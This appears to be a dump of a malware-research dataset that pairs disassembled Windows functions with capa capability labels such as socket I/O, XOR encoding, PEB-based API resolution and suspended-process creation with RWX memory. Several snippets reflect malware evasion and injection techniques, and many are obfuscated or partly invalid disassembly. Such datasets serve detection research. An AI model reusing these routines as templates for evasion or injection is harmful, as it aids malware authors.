joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400beee0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400bf088
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400bef45
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400bef45
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400bef45
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400bef7c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400befd2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400befd2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400befd2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400befd2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400befd2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400be990
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400bf034
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14008b7b0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400bed60
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400bf080
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14008b7b0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400c07f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14010b040]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400c0885
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400c08e6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14008b7b0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400852e0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400c09a1
sub ecx, 1
je 0x1400c0a14
sub ecx, 1
je 0x1400c0950
cmp ecx, 1
je 0x1400c0933
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400ebe54]
call fcn.14008b7b0
jmp 0x1400c0a14
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400c0520
test eax, eax
je 0x1400c0a14
jmp 0x1400c08ba
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400c0a14
sub rax, rsi
cmp rax, rbp
jae 0x1400c0a14
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14008b930
jmp 0x1400c0a14
cmp r8d, 4
jle 0x1400c0a14
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400c0a14
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14008b6d0
mov esi, eax
test eax, eax
je 0x1400c09f3
mov edx, 5
mov rcx, rbx
call fcn.1400c14e0
mov eax, esi
jmp 0x1400c08ba
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400aa160
mov rcx, r14
call fcn.1400aa440
test eax, eax
je 0x1400c08b8
mov edx, 5
mov rcx, rbx
call fcn.1400c14e0
mov eax, Ordinal_45
jmp 0x1400c08ba
Function at 0x1400d37b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str.I9_r_]
mov rdi, rax
test rax, rax
jne 0x1400d37f2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400d3839
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400d3892
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400d3850
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400d38d3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400e702b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400e702c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400d38a0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x40887b
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
push rbp
sub rsp, 0x88
lea rdx, [0x00441ac8]
push 0x30
pop rax
mov esi, dword [rdx + 0x14]
mov rax, qword gs:[rax]
mov rax, qword [rax + 0x60]
mov rbp, qword [rax + 0x18]
add rbp, 0x10
mov rbx, qword [rbp]
jmp 0x4088c7
mov rcx, qword [rbx + 0x60]
call fcn.00409073
cmp esi, eax
jne 0x4088c4
mov rbp, qword [rbx + 0x30]
jmp 0x4088ce
mov rbx, qword [rbx]
cmp rbx, rbp
jne 0x4088b1
xor ebp, ebp
lea r14, [0x00441ac8]
movsxd r13, dword [rbp + 0x3c]
add r13, rbp
mov r12d, dword [r14 + 4]
mov r15d, dword [r14 + 0x6c]
mov r14d, dword [r14 + 8]
mov ecx, dword [r13 + r12*8 + 0x88]
xor r12d, r12d
mov ebx, dword [rcx + rbp + 0x18]
mov eax, dword [rcx + rbp + 0x24]
mov r13d, dword [rcx + rbp + 0x20]
add rax, rbp
mov edx, dword [rcx + rbp + 0x1c]
add r13, rbp
add rdx, rbp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdx
mov dword [rsp + 0x40], ebx
test ebx, ebx
jbe 0x408987
Function at 0x408d50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x60], edx
mov dword [rsp + 0x58], r12d
test r12d, r12d
jbe 0x408d7d
mov r12d, r13d
xor esi, esi
mov rdi, qword [rsp + 0x50]
mov edi, dword [rdi + r12*4]
add rdi, rbp
mov rcx, rdi
call fcn.00409063
xor edx, edx
test eax, eax
jbe 0x408d56
cdqe
xor r9d, r9d
movzx r11d, byte [rdx + rdi]
xor r10d, r10d
test r14d, r14d
jbe 0x408d4a
inc r10d
add r9d, esi
cmp r10d, r14d
jb 0x408d3f
inc rdx
lea esi, [r9 + r11]
sbb dword [rax + 0x3b], ecx
sal byte [rdx - 0x27], 1
cmp esi, dword [rsp + 0x48]
jne 0x408d73
mov rax, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
movzx edi, word [rax + r12*2]
mov esi, dword [rsi + rdi*4]
add rsi, rbp
jmp 0x408d7f
inc r13d
cmp r13d, dword [rsp + 0x58]
jb 0x408d0e
xor esi, esi
mov rax, rsp
mov rdx, rbx
mov r8d, r15d
lea r9, [rsp + 0x60]
mov dword [r9], 0
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x20], 0
mov rcx, qword [r9 - 0x20]
call rsi
lea rax, [0x00441ac8]
xor edx, edx
mov esi, dword [rsp + 0x60]
add rsi, rbx
mov r8d, dword [rax + 0x24]
lea rdi, [rbx + r8]
mov qword [rsp + 0x58], rdi
mov r9d, dword [rdi]
mov ecx, dword [rdi]
lea rax, [rdi + 8]
mov edi, dword [rdi + 4]
test r9d, r9d
jbe 0x408ddb
inc edx
add dword [rax], edi
add rax, 4
cmp edx, r9d
jb 0x408dce
lea r13, [0x00441ac8]
movsxd rax, dword [rbp + 0x3c]
add rax, rbp
mov r15d, dword [r13 + 0x5c]
mov edx, dword [r13 + 4]
add al, 0x45
mov esi, dword [rbp + 0x18]
mov qword [rsp + 0x70], r15
mov edi, dword [rax + rdx*8 + 0x88]
mov r15d, dword [r13 + 8]
xor r13d, r13d
mov dword [rsp + 0x40], r14d
mov r8d, dword [rdi + rbp + 0x18]
mov ecx, dword [rdi + rbp + 0x24]
mov r14d, dword [rdi + rbp + 0x20]
add rcx, rbp
mov ebx, dword [rdi + rbp + 0x1c]
add r14, rbp
add rbx, rbp
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x48], r8d
test r8d, r8d
jbe 0x408eaa
Function at 0x408df0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x60], edx
mov dword [rsp + 0x58], r12d
test r12d, r12d
jbe 0x408d7d
mov r12d, r13d
xor esi, esi
mov rdi, qword [rsp + 0x50]
mov edi, dword [rdi + r12*4]
add rdi, rbp
mov rcx, rdi
call fcn.00409063
xor edx, edx
test eax, eax
jbe 0x408d56
cdqe
xor r9d, r9d
movzx r11d, byte [rdx + rdi]
xor r10d, r10d
test r14d, r14d
jbe 0x408d4a
inc r10d
add r9d, esi
cmp r10d, r14d
jb 0x408d3f
inc rdx
lea esi, [r9 + r11]
sbb dword [rax + 0x3b], ecx
sal byte [rdx - 0x27], 1
cmp esi, dword [rsp + 0x48]
jne 0x408d73
mov rax, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
movzx edi, word [rax + r12*2]
mov esi, dword [rsi + rdi*4]
add rsi, rbp
jmp 0x408d7f
inc r13d
cmp r13d, dword [rsp + 0x58]
jb 0x408d0e
xor esi, esi
mov rax, rsp
mov rdx, rbx
mov r8d, r15d
lea r9, [rsp + 0x60]
mov dword [r9], 0
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x20], 0
mov rcx, qword [r9 - 0x20]
call rsi
lea rax, [0x00441ac8]
xor edx, edx
mov esi, dword [rsp + 0x60]
add rsi, rbx
mov r8d, dword [rax + 0x24]
lea rdi, [rbx + r8]
mov qword [rsp + 0x58], rdi
mov r9d, dword [rdi]
mov ecx, dword [rdi]
lea rax, [rdi + 8]
mov edi, dword [rdi + 4]
test r9d, r9d
jbe 0x408ddb
inc edx
add dword [rax], edi
add rax, 4
cmp edx, r9d
jb 0x408dce
lea r13, [0x00441ac8]
movsxd rax, dword [rbp + 0x3c]
add rax, rbp
mov r15d, dword [r13 + 0x5c]
mov edx, dword [r13 + 4]
add al, 0x45
mov esi, dword [rbp + 0x18]
mov qword [rsp + 0x70], r15
mov edi, dword [rax + rdx*8 + 0x88]
mov r15d, dword [r13 + 8]
xor r13d, r13d
mov dword [rsp + 0x40], r14d
mov r8d, dword [rdi + rbp + 0x18]
mov ecx, dword [rdi + rbp + 0x24]
mov r14d, dword [rdi + rbp + 0x20]
add rcx, rbp
mov ebx, dword [rdi + rbp + 0x1c]
add r14, rbp
add rbx, rbp
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x48], r8d
test r8d, r8d
jbe 0x408eaa

Function at 0x408e60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov r12d, r13d
xor ebx, ebx
fild dword [rbx - 0x75]
cmp al, 0xa6
add rdi, rbp
mov rcx, rdi
call fcn.00409063
xor r10d, r10d
test eax, eax
jbe 0x408e7e
cdqe
xor edx, edx
movzx r9d, byte [r10 + rdi]
xor r8d, r8d
test r15d, r15d
jbe 0x408e72
inc r8d
add edx, ebx
cmp r8d, r15d
jb 0x408e68
inc r10
lea ebx, [rdx + r9]
cmp r10, rax
jb 0x408e59
cmp ebx, dword [rsp + 0x40]
jne 0x408ea0
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
movzx ecx, word [rax + r12*2]
mov ebx, dword [rdx + rcx*4]
add rbx, rbp
mov qword [rsp + 0x40], rbx
jmp 0x408eb3
inc r13d
cmp r13d, dword [rsp + 0x48]
jb 0x408e3c
invalid
invalid
and al, 0x40
invalid
Function at 0x42ba40
Capabilities:
Encode data using xor

Disassembly:
push rbx
test r8d, r8d
jle 0x42baaa
xor rax, rax
movsxd r9, eax
mov r9d, dword [rdx + r9*4]
movsxd r10, eax
mov r10d, dword [rcx + r10*4]
add r10d, r10d
mov r11d, r9d
and r11d, 1
add r10d, r11d
mov r11d, r10d
sub r11d, r9d
movsxd rbx, eax
shr r11d, 1
xor r11d, 0x40000000
sub r11d, 0x40000000
mov dword [rcx + rbx*4], r11d
mov r11d, r10d
add r11d, r9d
movsxd r9, eax
shr r11d, 1
xor r11d, 0x40000000
sub r11d, 0x40000000
mov dword [rdx + r9*4], r11d
add eax, 1
cmp eax, r8d
jl 0x42ba49
pop rbx
ret

Function at 0x42bb10
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov rax, rcx
cmp dword [rsp + 0x30], 0
jne 0x42bb20
xor r10, r10
jmp 0x42bb34
mov r10d, 1
mov ecx, 0x1f
sub ecx, dword [rsp + 0x30]
shl r10d, cl
xor rcx, rcx
mov r11d, r8d
sub r11d, 1
mov r8d, ecx
cmp r8d, r11d
jg 0x42bb94
add r11d, 1
mov ebx, dword [rax]
movzx rcx, byte [rsp + 0x30]
shr ebx, cl
xor ebx, r10d
sub ebx, r10d
mov ecx, ebx
imul ecx, r9d
add ecx, 0x80
shr ecx, 8
xor ecx, section..rsrc
sub ecx, section..rsrc
mov ebx, ecx
movzx rcx, byte [rsp + 0x30]
shl ebx, cl
sub ebx, dword [rdx]
mov dword [rdx], ebx
add rdx, 4
add rax, 4
add r8d, 1
cmp r8d, r11d
jne 0x42bb4a
nop
pop rbx
ret
Function at 0x470f95
Capabilities:
Authenticate hmac

Disassembly:
je 0x545fa0
lea rdi, [rdi + 0x5b8cb595]
lea r14, [r14*4 + 0x67bf6781]
mov qword [rsp + 0x28], r14
push r14
xchg qword [rsp + 0x38], rdi
mov r14, qword [rsp + 0x10]
or word [rsp], 0x4913
jo 0x4e1eeb
sub byte [rsp], 0xbf
jbe 0x5a5d82
setl r15b
mov rcx, qword [rsp + rbp + 0x50]
mov rcx, qword [rcx]
call fcn.00472c7a

Function at 0x470fd3
Capabilities:
Authenticate hmac

Disassembly:
and al, 0x30
mov ebx, 0xffffb8d1
je 0x45f1aa
sbb byte [rbp + 0x24648d48], bl
ret 8
pushfq
cmp dword [0xffffffffb33023c9], edx
mov dh, 0xb1
pop rbp
jno 0x45f17c
int3
int3
jno 0x45f190
neg edx
sub qword [rsp + 0x30], 0x2b9907
mov rax, qword [rsp + 0x30]
mov rax, qword [rsp + rdx - 0x54debfba]
mov rax, qword [rax]
not dx
mov qword [rsp + rdx - 0x54de4005], rdx
jno 0x58cf29
invalid
mov r9, r14
call fcn.0046ae0b
or r12w, word [rsp + 0x31]
add qword [rsp], 0xfffffffffff87ac8
add dl, bpl
lea rax, [rax + 0x508d1332]
js 0x531492
call fcn.00471125
mov edx, r10d

Function at 0x4f3bb9
Capabilities:
Encode data using base64

Disassembly:
mov rbp, qword [rsp + 0x30]
mov rbp, qword [rbp + riz]
lea r14, [r14 + riz + 0x5e94f603]
mov qword [rsp + 0x30], r15
call fcn.00586781

Function at 0x4fc5bc
Capabilities:
Encode data using xor

Disassembly:
lea r14, [r14*8 - 0x10c50b60]
setg r14b
mov r9, qword [rsp + r9 + 0x5c47f30b]
movzx r14, r13b
lea r13, [r13 + r14 + 0x80c1a91]
lea r14, [r14 + r13*2 - 0x54cc0bc2]
add r13, 0xfffffffff8b28f3e
neg r14
neg r14w
neg esi
je 0x476dfc
jno 0x5154ae
xor esi, eax
xor dl, ah
stosd dword [rdi], eax
movsb byte [rdi], byte [rsi]
stosb byte [rdi], al
jge 0x4fc5f0
call 0x325677d0
invalid
mov r14, qword [rsp + r13*4 - 0x2fc9c7c]
neg r13d
sub r13b, 6
and r13d, r13d

Function at 0x551b0d
Capabilities:
Execute syscall

Disassembly:
add qword [rsp], 0x4f275
movabs rdi, 0x792fe43b498a3b04
not r14b
mov r9, r14
or r14b, dil
cmp r9d, 0x7fa78a17
setns dil
and r14b, 0x1d
mov rdi, qword [rsp + r9 - 0x37d800ff]
mov rdi, qword [rdi + r9 - 0x37d800ff]
xor r9, 0x4d3def8c
je 0x561342
shr r9b, 0x7a
mov qword [rsp + r9 - 0x7ae5ef00], r14
jns 0x500aeb
push rdi
lea r14, [r14 + r9*8 - 0x15f745c]
call fcn.00473b9e
not rbx
mov rbx, qword [rsp + 0x18]
jae 0x59ec7d
call fcn.005c96aa
syscall
call fcn.004df1b4
push r8
pushfq
movabs r8, 0x92b07289d526a398
push rbp
xchg qword [rsp + 0x18], rax
movabs rbp, 0x55b5ee23d93bcc0e
and r8b, 0xbd
test bp, 0xfa34
jb 0x5a1db8
mov ebp, 0x9a25e209
or r8w, bp
push r12
mov r12, rbp
mov r8, qword [rsp + 0x18]
mov qword [rsp + 0x18], rax
shl r12, 0xd4
test r12w, 0x751f
lea r12, [rbp*2 + 0x6f13ab35]
call fcn.005c48a4
cmp r12d, 0x91b425b7
js 0x4690d9
test dl, 5
setg dil
and r12b, 0xbb
mov r10, qword [rsp + 8]
or rdi, 0x2921cb11
neg edi
call fcn.00513505
movabs rbx, 0x8c96502c54894912
mov rcx, qword [rsp + 0x20]
pushfq
neg bx
add rbx, 0x4d82d720
push r15
movabs rbx, 0x3d2886a5e633848f
xor r14b, 0x85
mov r14d, ebx
lea rcx, [rcx + 1]
call fcn.0045d158
Function at 0x55f03b
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + r11*4 - 0x3e2e2130], r11
shr r13, 0xb3
lea rdx, [rdx + rdi - 0x480aa4dc]
call fcn.0054e201
push qword [rsp + 0x58]
popfq
lea rsp, [rsp + 0x68]
ret
movzx r13d, dil
ja 0x584df6
movq mm0, mm0
cmc
enter 0x6ad3, 0
mov ebp, 0x23b2ada2
invalid
add qword [rsp + 0x58], 0xa9fcd
neg edi
add dil, 0x39
movabs rdx, 0x858c39bb3e9fa325
add edx, edx
mov rdx, qword [rsp + rdx - 0x7d3f45f2]
mov rdx, qword [rdx + rdi - 0xf8b8862]
mov qword [rsp + r13 - 0xb7], rdi
mov r11, qword [rsp + rdi - 0xf8b8842]
mov ebx, dword [rsp + rdi - 0xf8b8842]
movabs r13, 0xf28d7720bf1796b9
cmp r13, 0xffffffffa700cf3d
jl 0x4cedee
cmpsd dword [rsi], dword [rdi]
cmp dh, byte [rax - 0x53d287cf]
call 0xffffffffe4ad6696
xor ebp, dword [rax - 0x7b2a57af]
je 0x584e2a
movabs al, byte [0xb7ad3bead79f9f14]
iretd

Function at 0x59d5b6
Capabilities:
Encode data using xor

Disassembly:
xchg qword [rsp + 0x48], rbp
mov rdx, qword [rsp + 0x10]
sub r10w, si
jns 0x5bd603
out 0xc7, al
pushfq
call 0x5d2b8033
test byte [r13 - 0x1f368be2], r11b
rol edx, 1
adc esp, dword [rbp + 0x14]
invalid
shl r14w, 0x7b
test qword [rsp + 0x28], rsi
movzx esi, byte [rsp + 0x2a]
mov r10, qword [rsp + rsi*8 - 0x7d8]
mov rbx, rsi
jae 0x461c4a

Function at 0x5aa38a
Capabilities:
Encode data using xor

Disassembly:
mov r10, qword [rsp + r10*2 - 0x122]
jl 0x45e7d9
add qword [rsp + 0x28], 0xffffffffffac71b1
sub dword [rsp + 0x48], 0xb420be8f
and qword [rsp + 0x48], 0x58a99314
add qword [rsp + 0x30], 0xffffffffffa38a83
push qword [rsp + 0x68]
popfq
lea rsp, [rsp + 0x78]
ret
jae 0x552152
mov ah, 0x74
outsb dx, byte [rsi]
pop rdi
add qword [r8 - 0x77], rcx
lodsb al, byte [rsi]
sub al, 0x21
movsb byte [rdi], byte [rsi]
sub eax, dword [rdi + 0x29ee8141]
mov gs, word [rdx - 0x6378b73a]
sub al, 0x51
movsb byte [rdi], byte [rsi]
sub eax, dword [rdi + 0x4cb48b4c]
adc byte [rax], al
add byte [rax], al
shr cx, 0x9b
add qword [rsp + rcx], 0xffffffff8300983d
test word [rsp + rcx*2 + 0x20], 0xada3
call fcn.0057ffd5
jns 0x590e43
pop rdi
sub byte [rsp + rcx], 0x47
adc cl, ah
fistp dword [rax - 0x6cc676ae]
sub byte [rbx], al
jno 0x5aa327
jb 0x5aa39f
fist dword [rdx + rbx*2 + 0x4623d4d5]
sbb eax, 0x1d9fe4cb
mov dh, 0xd6
xor al, 0x42
mov ah, 0x47
jno 0x5aa3b1
je 0x5aa42d
shr edx, 1
mov ecx, 0x24d43a7a
invalid
mov bh, al
popfq
fidiv dword [rdx]
cmp dh, byte [rax + 0x1b3cd6c7]
invalid

Function at 0x5b5473
Capabilities:
Encode data using xor

Disassembly:
pushfq
and r9w, 0xe2bc
add qword [rsp + 8], 0xffffffffffff970c
xor r9w, 0x42d
shr r9b, 0x7e
movabs rsi, 0xcd34f3aafba96d84
not sil
sete r9b
bswap r9d
mov rsi, qword [rsp + 8]
mov rsi, qword [rsi + r9*2 - 0x28d345a]

Function at 0x5c1bf6
Capabilities:
Encode data using xor

Disassembly:
or ecx, dword [rcx + rax*2 - 0x46b663af]
xchg ebp, eax
sub dword [rdi], esi
fild word [rdi - 0x17385458]
cmp eax, 0x48000320
mov rbx, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x20]
mov rbx, qword [rbx]
mov qword [rsp + r11 + 0x20], r8
push r15
add byte [rcx + 0x57], al
movsx r8d, word [rsp + 0x2c]
jle 0x45d1e9
out 0xe, al
xor ecx, dword [rbp + 0x3b]
jle 0x5c1c05
add esp, dword [rbx - 0x36]
lahf
sub bh, byte [rdi]
jmp 0x5c1be2
Function at 0x5c8ad6
Capabilities:
Encode data using xor

Disassembly:
shr ebx, 0x73
cmp word [rsp + 0x18], dx
not byte [rsp + 0x18]
mov rdx, qword [rsp + 0x38]
call fcn.005f854d
mov r8, qword [rsp + 0x30]
setl byte [rsp + 0x48]
mov byte [rsp + 0x48], 0x28
xor dword [rsp + 0x48], 0x601c5a16
jge 0x586e5c
push qword [rsp + 0x70]
popfq
lea rsp, [rsp + 0x78]
ret
test ecx, 0xfc88488a
mov ah, bh
seto bl
mov rcx, qword [rsp + 0x30]
jae 0x46783f
jbe 0x5c8b4f
scasd eax, dword [rdi]
sbb cl, dl
mov cl, 0xc1
xor byte [rbx - 0x4f36eec1], dl
and al, 0x3f
out dx, eax
sub dword [rbp - 0xca4b73c], edx
adc dword [rcx - 0x6da7ab3c], esi
pop rdi
insd dword [rdi], dx
int 0xe7
jg 0x5c8ada
invalid
pop rcx
jmp 0xfffffffff28229f7

Function at 0x613873
Capabilities:
Encode data using xor

Disassembly:
push rcx
jae 0x5ecc7d
mov rax, r15
push r15
push 0x69a08c2e
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
shr r14b, 0x41

Function at 0x627af4
Capabilities:
Encode data using xor

Disassembly:
xor r10w, 0x2610
and r14b, r10b
add qword [rsp + r14 - 0x3fffffe0], 0xffffffffc8a83837
xchg qword [rsp + r14*2 - 0x7fffffc8], rdx
mov r10, qword [rsp + 0x18]
jb 0x56133a
not byte [rsp + r14 - 0x3fffffe0]
shl r14, 0xdf
mov r14, qword [rsp + r14*8 + 0x30]
mov qword [rsp + 0x20], 0x333d88d
cmp word [rsp + 0x20], 0x6b0f
push qword [rsp + 0x28]
popfq
lea rsp, [rsp + 0x38]
ret
mov rdx, qword [rsp + r14 - 0x3fffffe0]
mov rdx, qword [rdx + r10 - 0x40000000]
and r10, r10
mov qword [rsp + r10 - 0x3fffffe0], r14
shr r10b, 0x3c
shl word [rsp + r14 - 0x3fffffe0], 0xe3
neg r10w
cmp word [rsp + r14*2 - 0x7fffffe0], 0x79aa
lea rdx, [rdx + r14*2 - 0x2f72ecce]
mov r10, r14
bswap r10
jbe 0x545045
invalid

Function at 0x62fea4
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
call fcn.00500976
jge 0x58138e
cmp dx, r10w
jae 0x58cf4d
Function at 0x140007f6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140007fb8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140007fb0
cmp dword [rcx + 0x3c], edx
jl 0x140007fb0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140007fb0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140007fb8
mov rax, rdx
add rsp, 0x18
ret

Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
sub rsp, 0x5c8
mov edx, 0x68
lea rcx, [rsp + 0x80]
call section..text
mov dword [rsp + 0x80], 0x68
call fcn.180001260
test eax, eax
je 0x180001202
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x1000044
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180004218]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18000114c
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
